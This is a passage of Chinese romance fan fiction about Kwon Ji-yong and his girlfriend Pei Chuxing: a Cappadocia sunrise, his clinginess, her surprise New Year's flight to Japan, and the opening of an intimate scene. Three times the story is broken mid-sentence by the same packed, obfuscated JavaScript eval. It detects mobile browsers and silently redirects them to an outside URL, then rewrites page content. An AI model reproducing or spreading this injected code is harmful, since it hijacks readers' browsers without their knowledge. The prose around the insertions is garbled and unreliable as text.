然后,就在某个无法预料的瞬间——仿佛宇宙深吸了一口气,然后用力呼出——太阳,那个宇宙间最古老、最强大的生命象征,毫无预兆地从地平线下跳了出来! 不是缓缓爬升,是迸发!是炸裂! 万丈金光如同无数把燃烧的金色长矛,以雷霆万钧之势,撕裂了所有残存的夜幕!天地间响起了一声无声的、却震撼灵魂的巨响。整个卡帕多奇亚,这片沉睡的魔幻大地,被这突如其来的光芒彻底唤醒了! 脚下沟壑纵横的峡谷、高耸林立的仙人烟囱岩、无数蜂窝般的洞穴,全都赤裸裸地展现在眼前,在低角度的晨光拉出长长的阴影,呈现出一种言语无法形容的、混合了极致荒凉、壮美和一种近乎神性的、抚平一切创伤的宁静力量。与此同时,周围上百只热气球也都被点燃,同时升空,五彩斑斓的球体漂浮在这片被镀上金红色光辉的土地上空,如同献给新生之神的、盛大的、无声的庆典。 “啊——!”初星被这极度震撼的景象冲击得发出一声短促的惊呼,随即彻底失语。她更加用力地抓住至龙的手臂,眼睛瞪得极大,瞳孔被那轮无法直视的、充满生命力的火球和它创造的光明世界完全占据。 她的嘴唇微微颤抖,试图说些什么,却发现找不到任何一个词语能够匹配眼前这瑰丽景象的万分之一。 “至龙……至龙……”她只能反复地呼唤着他的名字,仿佛这样才能确认自己并非置身于 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16894573|188757||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一场过于逼真的幻梦。 而至龙同样被深深震撼了。那光芒不仅照亮了外在的天地,也穿透了他的皮肤、骨骼,直接照进了他那个阴暗潮湿的内心世界。他感到一股温暖的热流从心脏最深处奔涌而出,迅速流向四肢百骸,驱散了积存已久的寒意。那些曾经像毒蛇一样缠绕着他的负面情绪,在这磅礴的阳光面前,显得那么渺小、那么可笑、那么……不堪一击。他仰起头,闭上眼睛,任由阳光温暖地亲吻着他的眼皮、脸颊,感受着这份真实的暖意,接受着这神圣的洗礼。 当他再次睁开眼时,初星正转过头来看他。她的眼睛亮得惊人,像是把刚好升起的太阳整个盛了进去,璀璨得让人无法直视。 她握住他的手,十指死死地、坚定地交缠紧扣,声音颤抖却异常清晰地、一字一句地,穿透了高空的微风和燃烧器的余音,直接撞进他的心里: “至龙!你看,”她指向那轮蓬勃的、散发着无穷生命力的朝阳,“太阳!太阳升起来了!全新的太阳。” 她的目光灼灼地锁定他的眼睛,不容他闪躲,“我们把昨天忘掉!好不好?把所有不好的事情……那些让你疼的、让你哭的、让你睡不着觉的……所有委屈、所有不公平、所有恶毒的话……统统都丢掉!就丢在那个再也回不去的昨天!让它们被阳光晒干!蒸发!消失得无影无踪!” 她转回头,望向那光明的天地,然后又看向他,绽放出一个无比灿烂、无比纯净、比卡帕多奇亚的朝阳还要温暖夺目的笑容。 “从今天起,”她的声音稳定下来,开始郑重地宣告,“从此刻开始——我们的人生,权至龙和裴初星的人生才是真正的开始了!” 至龙怔怔地看着她,看着她在金光中发光的脸庞,看着她眼中那比太阳更炽热的光芒,突然特别想哭…… 他强忍着,反手更加用力地、几乎是凶狠地回握住她的手,力道大得让初星蹙眉,但他没有松开,仿佛要通过这紧密的联结,将两个人的灵魂都捆绑在一起。 他仰头,再次望向跃升得更高的太阳,又看着身边这个赋予他新生力量的女孩。脸上露出一个真正轻松的、释然的、卸下了所有重担的、如同雨过天晴后般清澈而灿烂的笑容。那笑容点亮了他的脸庞,也将他眼底最后那一丝阴郁和疲惫驱逐得干干净净。 “嗯。”他重重地点头,像立下了一个永恒的誓言,“才刚刚开始。” 阳光毫无保留地洒满大地,也温暖地包裹着吊篮中相视而笑的两人。过去被决绝地留在了身后,而未来,正如这初升的太阳,光芒万丈,充满无限可能。他的手,紧紧握着她的,坚定,有力,这一生,再也不会松开。 70.第 70 章 抄袭风波在YG公司强势的法律手段、澄清声明以及后续一系列公关操作下,逐渐平息。虽然网络上仍有些许杂音,但已无法再掀起太大风浪。至龙随着团队再次投入忙碌的行程,尤其是日本市场的拓展,使得他频繁地往返于日韩之间,有时一去便是好几周,如同候鸟般在两国上空迁徙。 他对初星的依赖也肉眼可见的加深了。那场风波在他心底刻下的不安全感,如同隐形的伤口,需要不断确认她的存在才能得以抚慰。无论行程多么密集、身体多么疲惫,哪怕忙得昼夜颠倒、头晕目眩,都雷打不动地坚持着一条铁律——每天至少要跟初星通半个小时的视频电话。 常常是深夜的酒店房间里,至龙刚结束一天的录制或排练,脸上带着浓重得化不开的倦意,都来不及卸掉脸上的舞台妆,也顾不上换下被汗水浸透又干涸的演出服,第一件事就是挣扎着拿起手机,迫不及待地拨通那个熟悉的号码。 “今天怎么样?工作累不累?按时吃饭了吗?吃的什么?和朋友还是和同事吃的?有没有遇到难缠的客户?有没有认识新朋友?”至龙的问题总是事无巨细,像一张密不透风的网,带着连他自己都未曾察觉的焦虑,仿佛要通过这些日常到琐碎的问答,来一寸寸地确认她的存在,触摸那份他极度渴望的、稳固的安稳。他需要听到她的声音,看到她的面容,才能确信自己在外漂泊拼搏的锚点,始终牢固地系在她那里。 初星有时正忙着画设计图,或是白天工作也很累,对着他这些重复的问题,心里难免会生出一点点不耐烦。 她更喜欢彼此拥有独立的空间,而不是这样事无巨细的报备。但每次,当她抬起眼,看到屏幕里至龙如同受惊幼兽般不安神情的脸时,终究还是把那份不耐压了下去,一一回答他的问题,偶尔还会撒娇抱怨一下自己遇到的麻烦。 她理解他,那是创伤后遗症,他需要这种紧密的联系来获得安全感。所以她选择纵容。 有时,至龙会在网络上看到前辈Se7en和女友朴寒星又一次被拍到约会的新闻。照片里,两人大大方方地牵手逛街、吃饭,虽然也会引来关注,但那种自然流露的、无需遮掩的亲密和松弛,总会让至龙盯着新闻出神好久。 然后,他就会在电话里,或者是在短暂见面时的温存时刻,从背后紧紧抱住初星,脸埋在她肩上:“娜比啊……你看Se7en哥和寒星怒那,他们多好啊。我们什么时候也能像他们那样啊?不用躲躲藏藏,可以一起在阳光下散步,可以随意地牵手逛街,可以在普通的餐厅里吃顿饭,可以大大方方地告诉所有人……你是我的……” 他的声音越说越低,最后几乎变成了含糊的咕哝,带着孩子气的渴望和失落。 每次听到这个话题,初星心里就会莫名地烦躁起来。她从未憧憬过公开恋情。一想到公开后要面对无数双眼睛的审视、无休止的猜测、甚至恶意的评论,她就窒息,像是被关进了一个透明的玻璃箱,任人观赏,无处遁形。她喜欢现在这样,虽然隐秘,但自由,拥有完全属于自己的、不被外界打扰的生活空间和社交圈。 但她不会直接反驳他,只是拍拍他的背,轻巧地搪塞过去:“哎呀,这样不是也很好吗?多神秘啊!像地下特工一样,刺激!而且……” 她拖长了语调,带着点俏皮,“我完完全全都是你一个人的,多好!” 或是熟练地转移话题,皱起眉头开始抱怨:“别提了,今天那个难缠的客户又对我的设计稿提了一大堆莫名其妙的要求,气死我了,你快帮我骂骂他!” 至龙能听出她的敷衍和不情愿,但他不会再像以前那样执着地追问或表达不满。他只是把她抱得更紧一些,低声喃喃:“嗯……你说好就好……你觉得开心最重要。” 只是那份想要向全世界宣告“权至龙爱着裴初星”的渴望,像颗被深埋的种子,在心底悄悄生根发芽,等待着破土而出的时机。 * 冬日的夜晚,初星窝在沙发里,电视上播放着《原来是美男》,她却有点心不在焉,手指在笔记本电脑的触摸板上滑动着。屏幕上,赫然是MAMA颁奖礼的红毯新闻图——至龙黑色西装黑色礼帽,表情酷拽地走在红毯上。而他脚边的权家虎迈着短腿,一本正经地跟在主人身边,面对四面八方闪烁的闪光灯,毫不怯场,还配合地看向镜头,镜头感十足,俨然一位训练有素的明星犬。 “哧哧——”初星忍不住笑出声来,把回来后蜷缩着打盹的家虎本虎吓了一跳,它茫然地抬起头,湿漉漉的黑眼睛看着主人。 “呀,看看我们家虎,”初星把电脑凑到真正的家虎面前,指着上面的图片,“成大明星了哦?都会走红毯了,了不得呀!” 家虎歪着脑袋,看着图片里的“自己”,又抬起眼皮看笑得开心的初星,发出几声困惑的哼唧声,似乎无法理解,最终决定放弃思考,重新趴回垫子上,继续它的美梦。 初星笑着揉它毛茸茸的脑袋,心情愉悦。她关掉电脑,继续看电视,脚边趴着酣睡的家虎,等着至龙回来。 不知过了多久,门打开,至龙带着一身寒气和淡淡的疲惫走了进来。他随手脱下外套,家虎立刻爬起来摇着尾巴冲过去,亲热地围着他打转,脑袋不停蹭着他。 至龙弯下腰,温柔地摸了摸家虎的头:“我们家虎今天表现很棒啊,都没有给阿爸丢脸。” 初星抱着抱枕,用对着小朋友说话的语气对着家虎说:“哎一古,我们家虎今天真是辛苦了~走那么长的红毯累坏了吧?哦妈明天一定给我们家大明星买最好吃的韩牛零食做奖励,好不好呀?” 至龙笑着走到沙发边,挤着她坐下,把她带进怀里:“那我呢?我走红毯也很辛苦的,面对那么多镜头和粉丝,嗓子都快喊哑了……有没有我的奖励?” 初星眨眨眼:“你?你不是去享受掌声和尖叫去了吗?那不就是最好的奖励?还要什么额外的呀?” 话虽这么说,看着他亮晶晶望着自己的眼睛,她还是敷衍地凑上去,在他脸颊上快速地亲了一下,“好了好了,奖励过了,不准贪心。” 这时,电视里正好放到男二号姜新禹出场,温柔体贴地守护着女主角。初星推了推至龙的胳膊:“呀,至龙,你认不认识郑容和xi?” 至龙吃味的瞥了一眼,但还是保持着好脾气的笑容,回答道:“见过几次,不算太熟。怎么了?” “我想要签名!姜新禹太帅了!温柔又深情,完全是我的理想型!”初星笑嘻嘻地说。 至龙心里顿时咕嘟咕嘟地冒起了酸溜溜的小泡泡,但看着她,还是纵容地 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16903297|188757||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 点头:“好,知道了。下次遇到帮你要。” 他还是没忍住,委屈地小声嘀咕了一句,“Bigbang的签名也没见你这么想要……” 初星抬眸嗔了他一眼:“Bigbang的啊……嗯……那我只要胜铉欧巴的签名!那张脸,简直是上帝精心雕琢的艺术品!无可挑剔!” 至龙眼里闪过一抹晦涩,装作无奈地摇摇头,伸手去捏她软乎乎的脸颊:“那张根硕呢?黄泰京的签名要不要?” “不要!黄泰京太高冷太傲娇了,难搞得很,我不喜欢这类。”她眼珠转了转,又兴奋的扯着至龙的袖子晃了晃,“啊!对了!前几天我听了一首歌,叫《Love Me》,超好听,好像是一个叫贾斯汀·比伯的欧美小男生唱的?年纪好像很小,但声音很有辨识度!他的签名我也想要!” 至龙简直要气笑了,但看着她水汪汪的眼睛,只能妥协:“好,都要。郑容和的,胜铉哥的,贾斯汀·比伯的……不管是谁的签名,我都想办法帮你要来。” 他顿了顿,声音低沉而认真,“只要你想要的,我都会为你做到。” 初星心里甜甜的,嘴上却还要逞强:“哼,这还差不多……” 两人安静地相拥了一会儿,客厅里只有电视剧的对白和家虎发出的轻微鼾声。至龙突然想起了什么,环抱着她的手臂收紧,声音带着明显的失落和撒娇的意味,“娜比啊……今年跨年……我可能又要在日本过了。” “哦。”初星漫不经心地应了一声,注意力还在电视上。 至龙又搂紧了些,脸顺势埋进她颈窝里蹭了蹭,手还不停捏着她的耳垂,委屈极了:“我想你怎么办……好想好想和你一起跨年……看着倒数计时,在零点的时候第一个吻你……你能不能……来日本陪我?就几天就好……” 他抬起头,委屈可怜且无助地看着她,“我给你订最贵的航班,最好的酒店,绝对不影响你工作,你只要抽空……陪陪我就好……好不好?” 初星转过头来,正眼看他,想也不想的拒绝:“不要。我是有假期,但我和珍雅约好要去济州岛玩了!而且飞去日本一来一回的多累啊,时间都浪费在路上了,我才不要折腾呢。” 至龙眼底的光黯淡下来,嘴也控制不住地垮下来:“可是……”首尔飞日本才两个多小时…… 后面的话他没再说下去,沉默了一会,最终还是习惯性地选择了退让和包容。 他更紧地抱住她,把那份失落强行压回心底。再开口时,声音依旧温柔,甚至带着点哄劝的腔调:“好吧,既然你都和珍雅计划好了……那你们就玩得开心点。但是……要记得想我,好不好?每天都要想我一点点。” 初星对于他的反应习以为常,随意地点点头,目光又重新回到了电视上,“知道啦知道啦。好了,别吵我看电视了,正放到男女主角关键对手戏呢,精彩的地方都被你打断了。” 至龙乖乖地“嗯”了一声,不再说话,只是抱着她,目光失焦地落在电视屏幕上。 明明被拒绝了,心里空落落的难受,但只要抱着她,感受着她的体温和存在,那点失落似乎也变得可以忍受了。对他而言,纵容她的任性,早已成为一种深入骨髓的习惯。只要她开心,只要她在身边,其他的一切,他都可以让步。 71.第 71 章 咖啡馆内流淌着轻柔舒缓的爵士乐,却丝毫无法抚平店内某些人的焦躁。 初星无意识地搅动着面前早已冷却的咖啡,拉花图案模糊成一团。她的目光频频瞥向静默在桌上的手机,指尖焦躁地轻敲着杯壁,发出细微的声响。 坐在对面的珍雅将好友的心不在焉尽收眼底,无奈的摇摇头。她想起几天前,初星满不在乎地向她复述自己如何拒绝至龙一起跨年的请求时,那副被宠惯了的、有恃无恐的模样。再对比现在她魂不守舍的样子,心下已然明了。 珍雅憋不住地开口,“别看了,再看下去,手机都快被你盯出洞来了。心思早就飘到大洋彼岸去了吧?” 初星像是被踩了尾巴的猫,立刻收回视线,挺直了背脊,傲娇的反驳:“胡说什么呢!我……我就是有点累了,昨天熬夜画图了而已。” 珍雅放下咖啡杯,身体前倾,认真了几分:“初星啊,跟我在这儿干坐着耗时间有什么意思呢?你的心早就飞到至龙欧巴那边去了。” 她看着初星纠结地咬住下唇的小动作,继续道:“我知道,你嫌麻烦,跑来跑去累得很,也知道至龙欧巴事事都要过问的粘人劲儿,是有点烦人。但是,初星啊,他对你是真的好到没边了,好到我们都觉得不可思议。” 珍雅感慨的说:“被你拒绝后,他虽然在你面前什么都没说,还是那副温柔顺从的样子,但永裴欧巴他们私底下都说,他失落了好久……他那么忙,行程堆成山,压力巨大,唯一那点盼头不就是你吗?就指望着能见你一面,充充电呢。” 初星沉默的听着,垂着眼睑,至龙那张疲惫却总是对她露出温柔笑容的脸,那双在听到拒绝后难以掩饰失落、像被雨淋湿的小狗般湿漉漉的眼睛,清晰地浮现在眼前。 她突然想做点什么…… 珍雅观察着初星的表情,知道差不多了,于是兴奋地鼓励她:“现在就去吧!犹豫了!看看还有没有去日本的晚班机!杀他个措手不及!给他一个最大的惊喜!” 她越说越激动,“你想想看,他结束一天累死人的工作,回到酒店,打开门,看到你突然出现在他面前……他肯定会高兴得傻掉!肯定会开心得跳起来!还有什么比这个更棒的跨年礼物呢?绝对能让他记一辈子!” “现在?就这样去?”初星瞪大了眼睛,低头看了看自己身上随意穿着的毛衣和牛仔裤,“我……我什么都还没收拾呢!行李、换洗衣服、护肤品……什么都没准备……” “收拾什么呀!那些都不重要!”珍雅不由分说地拿起初星的包包和外套塞进她怀里,把她从座位上拉了起来,“人在就行了!护照和钱包在包里就够了!缺什么到了再买!现在最重要的是冲动和心意!赶紧的!再磨蹭一会儿,就真赶不上飞机了!” 初星被半推半就地赶出咖啡馆。冷风一吹,脑子一下子清醒了不少,但心脏却像被注入了肾上腺素般砰砰砰地狂跳起来。她回头看了一眼咖啡馆内冲她挥手鼓励的珍雅,一咬牙,伸手拦下出租车。 “师傅,去仁川机场,麻烦快一点!” 她拉开车门钻了进去。 出租车汇入夜晚的车流,窗外的节日灯火飞速向后掠去。初星看着自己映在车窗上略显仓促的倒影,身上还是白天出门时那套衣服,除了随身的挎包,一无所有。 这有点……疯狂。 她深吸一口气,平复狂跳不止的心脏,但心底像气泡水不停滋滋地冒着泡。 飞机冲入云层,将璀璨的首尔夜空留在下方。初星靠在舷窗边,望着窗外无垠的黑海,只有机翼的指示灯在孤独地闪烁着。 他……会是什么反应呢? 是惊讶得说不出话? 还是……会责怪她突然跑来,打乱他的计划? 又或者…… 她闭着眼睛,脑海里想象着各种可能的场景,嘴角却露出一个向上的弧度。 无论如何,这个即将到来的跨年夜,注定了不会平凡。 …… 飞机平稳降落。初星随着人流走下舷桥,打开一路关机的手机。瞬间,屏幕被一连串的未读消息和未接来电提示淹没,几乎全部来自至龙。 “搞什么……不就两个多小时没开机吗?打这么多电话干嘛……” 虽然嘴上抱怨,但她还是习惯性地准备回拨过去。 然而,她的手指还没碰到拨号键,手机就再一次急促地响起,屏幕上跳动的依然是“笨蛋至龙”。 初星撇撇嘴,接通了电话,还没等她“喂”出声,就传来了至龙焦急万分、甚至带着点喘息的声音,语速快得像在唱rap: “娜比!你在哪儿?为什么不接电话?你没事吧?我打了十几个电话了!信息也不回!今天不是和珍雅在玩吗?怎么会消失两个多小时?你到底在干嘛?是不是出什么事了?还是哪里不舒服?” 初星被他这劈头盖脸的追问弄得更加不耐烦,尤其是经过一场临时起意、略显狼狈的旅途之后。她没好气地对着话筒说:“呀!权至龙!你吵什么吵?我就是没接电话而已,能出什么事?手机没电了不行吗?你至于打这么多电话吗?烦不烦!” 电话那头的至龙貌似被她的吼声镇住了,安静了下来,只能听到他有些粗重的呼吸声,像是在努力平复过于紧张的情绪。 初星发泄完,听着那头的沉默,也意识到自己有点冲了。她看了看周围陌生的环境,深夜机场的冷清和独自一人的无助感爬上心头。她缓和了语气,又委屈又气呼呼的撒娇:“ “……而且,还不是因为你。” 至龙愣了一下,“因为我?” “嗯……”初星踢了踢脚边不存在的石子,“快来接我。” “接你?接你去哪儿?你在家吗?我让经纪人……” 至龙没反应过来。 “不在家!”初星打断他,声音提高了些,带着点破罐破摔的蛮横,“我在日本!关西机场!都是你!非要说什么想我……现在这么晚了,我一个人在这里……累死了……要不是你说想我来,我才不会跑来这种地方……” 电话那头陷入了死一般的寂静,足足过了好几秒钟。初星都怀疑是不是信号断了。 然后,她听到至龙颤抖的声音响起,还有些语无伦次: “你……你说什么?机场?现在?真的吗?娜比!你……你等我!站着别动!就在出口那里等着!哪儿也别去!我马上就来!立刻!马上!” “你快点!冷死了!”初星听着他急切的声音,那点不快和委屈消散了,心里开心的要死,但语气还是故意装得不耐烦。 “好好好!我马上到!很快!真的很快!你等着我!”至龙那边传来窸窸窣窣似乎是慌忙找车钥匙和外套的声音,电话都来不及挂断,只能听到他喊了一声“等我!”后通话便匆匆结束了。 初星看着暗下去的手机屏幕,想象着至龙手忙脚乱、惊喜交加的样子,终于憋不住哧哧笑出声。 她拉了拉单薄的外套,真的觉得有点冷了,但又还好。她找了个显眼的位置站好,期待地看着机场出口的方向。 但渐渐的,寒意透过单薄的衣服渗进来,她忍不住跺了跺脚,把脸往衣领里缩了缩,心里那点因为至龙即将到来的雀跃被生理上的寒冷压下去不少。 时间一分一秒地过去,每一秒格外漫长。初星开始有点后悔自己一时冲动跑过来,又没带厚衣服,还要在这冷飕飕的地方干等。正当她第N次看向出口通道,耐心快要告罄时——一阵急促而熟悉的脚步声由远及近地传来。 初星抬头望去。 至龙戴着黑色的鸭舌帽和口罩遮住了大半张脸,只露出一双急切的眼睛。身上随意套了件厚实的黑色羽绒服,拉链敞开着,露出里面还是舞台服装的闪亮内搭,整个人透着一股风尘仆仆的匆忙感。 他的目光急切地扫视着出口区域,直到牢牢锁定在她身上。那一刻,他眼底积攒了两个多小时的烦躁不安被巨大的惊喜所取代,紧接着是满满的心疼。 “娜比!”他几个大步冲到她面前,甚至来不及停下脚步,就一把将她狠狠地搂进怀里,力道大得快要把她揉进自己的身体里。 “你真的来了……”他把脸深深埋进她的颈窝,声音透过口罩传来。 天知道联系不上她的那两个小时里,那种抓心挠肝的烦躁和不安是如何折磨他的,各种乱七八糟的猜测在脑子里打转,直到打通电话那一刻才彻底消散。 初星被勒得有点喘不过气,原本还想抱怨几句等他太久、这里好冷之类的话,却在他如此直白而激烈的反应面前,一个字也说不出来了。 她安静地让他抱着,难得温顺地伸出手,回抱住他冰凉的后背。 抱了好一会儿,至龙才稍微松开她,但双手还是紧紧抓着她的胳膊。他上下仔细打量她,眉头紧紧皱起:“怎么穿这么少?就这一件外套?冷不冷?等了多久?怎么不找个暖和点的地方等?” “我哪知道日本晚上这么冷……”初星嘟囔着,下意识地往他散发着热气的怀里又缩了缩,“而且我不是让你快点来嘛……” 至龙看着她鼻尖冻得微微发红、像只寻求庇护的小动物般往自己怀里钻的小动作,看着她用他永远无法抗拒的、带着点委屈又依赖的眼神看着他,所有责备的念头都烟消云散了。他立刻把自己敞开的羽绒服向前用力拢起,将她整个人严严实实地裹进里面,用温暖的体温去驱散她身上的寒意。 “笨蛋……”他低骂了一句,语气却宠溺得能滴出蜜来,“来之前不会用手机查一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16903298|188757||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 下天气吗?也不会多穿点衣服?万一冻感冒了怎么办?你是惩罚自己还是惩罚我?”他一边说着,一边用温热的手掌摩挲着她冰凉的手臂,试图让她更快暖和起来。 裹在他的外套里,被他身上熟悉的气息紧紧包围,感受着他胸膛传来的稳定热度和心跳,初星觉得缓过来一点。她在他怀里抬起头,看着他近在咫尺的脸庞,那双好看的眼睛亮得惊人,里面只装着她一个人。 她忽然觉得,这一切的仓促和狼狈,都值了。 “呀,权至龙,”她板起脸,戳了戳他的胸口,“我千里迢迢跑过来,你就只知道骂我笨蛋吗?” 至龙低头,额头抵着她的额头,鼻尖蹭了蹭她冰凉的鼻尖:“不是笨蛋……是我的惊喜,是我最好的新年礼物。” 说完,他再也忍不住,摘下口罩吻住她。 随后,至龙搂着初星,半抱着把她带离了冷清的机场,坐进等候在外的车里。车内暖气开得很足,迅速驱散了初星身上残留的寒意。车子在夜色中平稳行驶,最终停在了一家看起来颇为高级隐蔽的料亭前。 至龙熟门熟路地带着她穿过幽静的庭院,进入一个私密的包间。穿着和服的服务员为他们摆上热茶和菜单后,便安静地躬身退下,拉上纸门。 至龙把菜单推到初星面前,“看看想吃什么?他们家的怀石料理很出名,食材都很新鲜。吃点热乎的暖暖身子?锅物也不错。” 初星没什么心思看菜单,摆了摆手,“你点吧,我都行。你点的我都吃。” 她捧起茶杯,小口啜饮着,暖流顺着喉咙滑下,熨帖着肠胃。她打量着这间雅致静谧的包间,心思显然不在吃上。 至龙点点头,快速地向候在门外的服务员点了几个菜,多是些清淡鲜美、适合暖胃的菜品。点完菜,他站起身对初星说:“娜比,你先坐一下,我出去一下,马上回来。” 初星不疑有他,随意地点了点头,继续小口喝着热茶。 不过十来分钟,包间门被轻轻拉开。至龙站在门口,喘着气,发梢似乎被外面的夜风染得更凉了些。他手里捧着一大束娇艳欲滴、如同天鹅绒般质感的红玫瑰,花瓣饱满深邃,上面还缀着细小的、晶莹剔透的水珠,在室内柔和的灯光下折射出迷人的光泽,宛如在寂静冬夜里热烈燃烧的火焰。另一只手提着好几个精致的购物袋。 他走进来,花束递到她眼前。浓郁的玫瑰花香弥漫开来,与她手中清雅的茶香交织在一起,形成一种独特而令人心动的氛围。 初星微微一怔。她接过花束,指尖触碰到冰凉湿润的花瓣。玫瑰,几乎是表达爱意最俗套的方式之一,但他急促的呼吸、发梢未干的湿气,以及他那份笨拙的真诚,无声地诉说着这份‘俗套’背后的匆忙与真心。 “你刚才是跑去买这些了?”她抬起眼看着他,里面是明晃晃的动容,“何必自己跑去……这么冷的天。” “嗯,”他在她身边坐下,始终温柔地看着她,仔细品味着她每一丝细微的反应,“看你什么都没带,就这样跑过来了。” 他指了指放在一旁的几个购物袋,“买了些换洗衣物,内衣、睡衣,还有一件厚点的外套……你看看尺码合不合适,不喜欢或者不合适我再去换。” 初星放下花束,拿起最上面的一个袋子。里面是一件触感柔软的羊绒衫,是她偏爱的简约款式和颜色,尺码也分毫不差。她都能想象出,他是如何在已经临近打烊的时间,凭借着对她喜好的精准把握,快速又认真地在店里挑选这些。 她沉默地看着手中的衣物,再抬眼看他。他脸上挂着清晰的期待,像个等待夸奖的大男孩。 “下次让助理去买就好了。”她终是开口,语调比平时软糯了几分,听起来不像责备,倒更像是掺杂着心疼的无奈,“干嘛自己跑来跑去,你那么累。” 至龙闻言却很认真地摇了摇头,专注地看着她挑选衣物的侧脸,“不要。你的一切,我都想自己亲自动手。” 他顿了顿,声音压低了些,带着本能的强烈占有欲,却又说得无比自然,“而且,助理是男的……我不想让他知道你的尺码。” 初星正拿起睡衣在身上比划了一下,听到这话,撇着嘴,评价了一句:“……真是有病。” 但并没有多少真正的嫌弃和恼怒,像是习惯了他这种程度的占有欲。她低下头,继续翻看其他袋子里的物品,嘴角却在他看不见的角度,几不可察地向上牵动了一下。 至龙看着她口是心非的模样,满足地笑了笑,伸手揽着她,“饿不饿?菜已经快好了。” 包间里温暖如春,暗香浮动。窗外是静谧的日式庭院,而室内,刚刚经历了一场意外奔赴的恋人,正享受着只属于他们的、或许略显仓促却充满了真实与温馨的跨年夜。 72.第 72 章 车子抵达酒店的地下停车场。至龙轻轻将睡着的初星打横抱起。她在失重感中迷迷糊糊地睁开眼,咕哝了一声:“……到了?” “嗯,睡吧。” 于是她又安心地阖上眼,手臂环住他的脖颈,脸埋进他温暖的颈窝。 “叮”的一声,至龙抱着初星刚迈出电梯,迎面就撞上了刚归来的成员们。 四人看到至龙怀里抱着个人,先是极度震惊和惊恐。待看清他怀中睡得脸颊红扑扑、被至龙用羽绒服裹着的女孩是初星后,转变为恍然大悟、最后是看好戏的促狭表情。 “哇哦——!”胜利最先发出起哄的声音,眉毛挑得老高。其他成员一脸“原来如此”的表情摇了摇头。 至龙没想到会撞上他们,下意识地把怀里的人护得更紧了些,脸上却是“你们都看到了吧”的扬眉吐气和得意。 初星被吵醒,迷茫地睁开眼,一抬头就对上四双写满了“八卦”和“调侃”的眼睛,脸“唰”地一下红了,手尴尬地揪紧至龙的衣服。 “呀呀呀!至龙哥!”胜利憋着笑,开始调侃,“前几天是谁啊?在练习室唉声叹气,说我们家娜比为了陪闺蜜,狠心抛弃他,不肯来日本跨年,伤心失落得连饭都少吃了一碗?” 大声模仿着至龙郁闷的语调接口,“就是就是,‘她居然说跟珍雅约好了……比我重要吗?’ 哎一古,那个委屈的样子啊……” top嫌弃的说:“还说什么‘跨年只能和工作过了’,搞得我们差点以为今年要在低气压里度过了。” 永裴点头如捣蒜,笑的肩膀一抽一抽的。 至龙被兄弟们揭了老底,压下嘴角,咳了一声。“咳……乱说什么。她……她这不是来了吗?给我惊喜来着。” “喔——惊喜!”四人异口同声地起哄。 初星羞得无地自容,捶了下至龙的肩膀,“快走啦!” 至龙接收到“指令”,对兄弟们摆出欠揍的笑:“好了好了,她累了,我们要回去了。你们也赶紧各回各屋。” 胜利挤眉弄眼:“知道啦知道啦,不打扰你们的‘惊喜’跨年夜了!” “好好享受哦,至龙哥!”大家都笑着让开路。 至龙在一片调侃的起哄声中,抱着不敢抬头的初星,大步走向自己的房间,脚步轻快,背影都写满了扬眉吐气和心满意足。 直到刷开房门,将那些声音隔绝在外,初星才敢抬起头瞪他:“丢死人了!都被他们看到了!” 至龙蹲下身帮她脱掉鞋子,闻言看着她鼓起的腮帮子,心里像是被蚂蚁爬:“怕什么?我高兴。”他凑上前,亲了亲她可爱的嘴角,“让他们羡慕去。谁让他们没有这么好的女朋友。” 看着他孩子气的炫耀和软乎的笑意,初星那点羞窘也化成了无奈。 这个人啊……之前是真的委屈坏了,现在也是真的高兴疯了。 至龙拥着她往里走:“累不累?要不要先泡个澡放松一下?” 初星摇了摇头,手指卷着他衣服的拉链玩:“现在不想动。” 两人跌坐在沙发上,至龙下巴抵着她的发顶,满足地吸了口气:“娜比啊.….” “嗯?” “今天很开心。从接到你电话那一刻起,就像做梦一样.??不,比梦还好。” 初星坏笑着问:“只是因为惊喜吗?” “因为是你。因为你为我而来。”他收紧了手臂,温热的唇贴在她耳畔,气息变得有些危险,“但是……还想更开心一点,怎么办” 初星耳根发烫,却没有躲开。至龙察觉她的默许,舔了舔嘴唇,转过她的身子,吻了上去。 他的舌头撬开她的齿关,深入其中,贪婪地汲取她的气息,手也开始不安分地在她背上滑动,隔着衣料也能感受到他掌心的滚烫。 初星被吻得发软,轻哼了一声,手臂攀上他的脖颈。至龙得到回应,动作更加急切。他一边吻着她,一边单手扯开自己羽绒服的拉链,外套被甩到一旁,双手抓住里面衣服的下摆向上脱去。 他的身形显露出来——修长柔和的线条,带着艺术家的清瘦感,皮肤在暖光下透着温热的光泽,却同样充满了难以言喻的吸引力和亲密感。他拉着初星的手,引导她抚上自己的肌肤,呼吸愈发粗重。 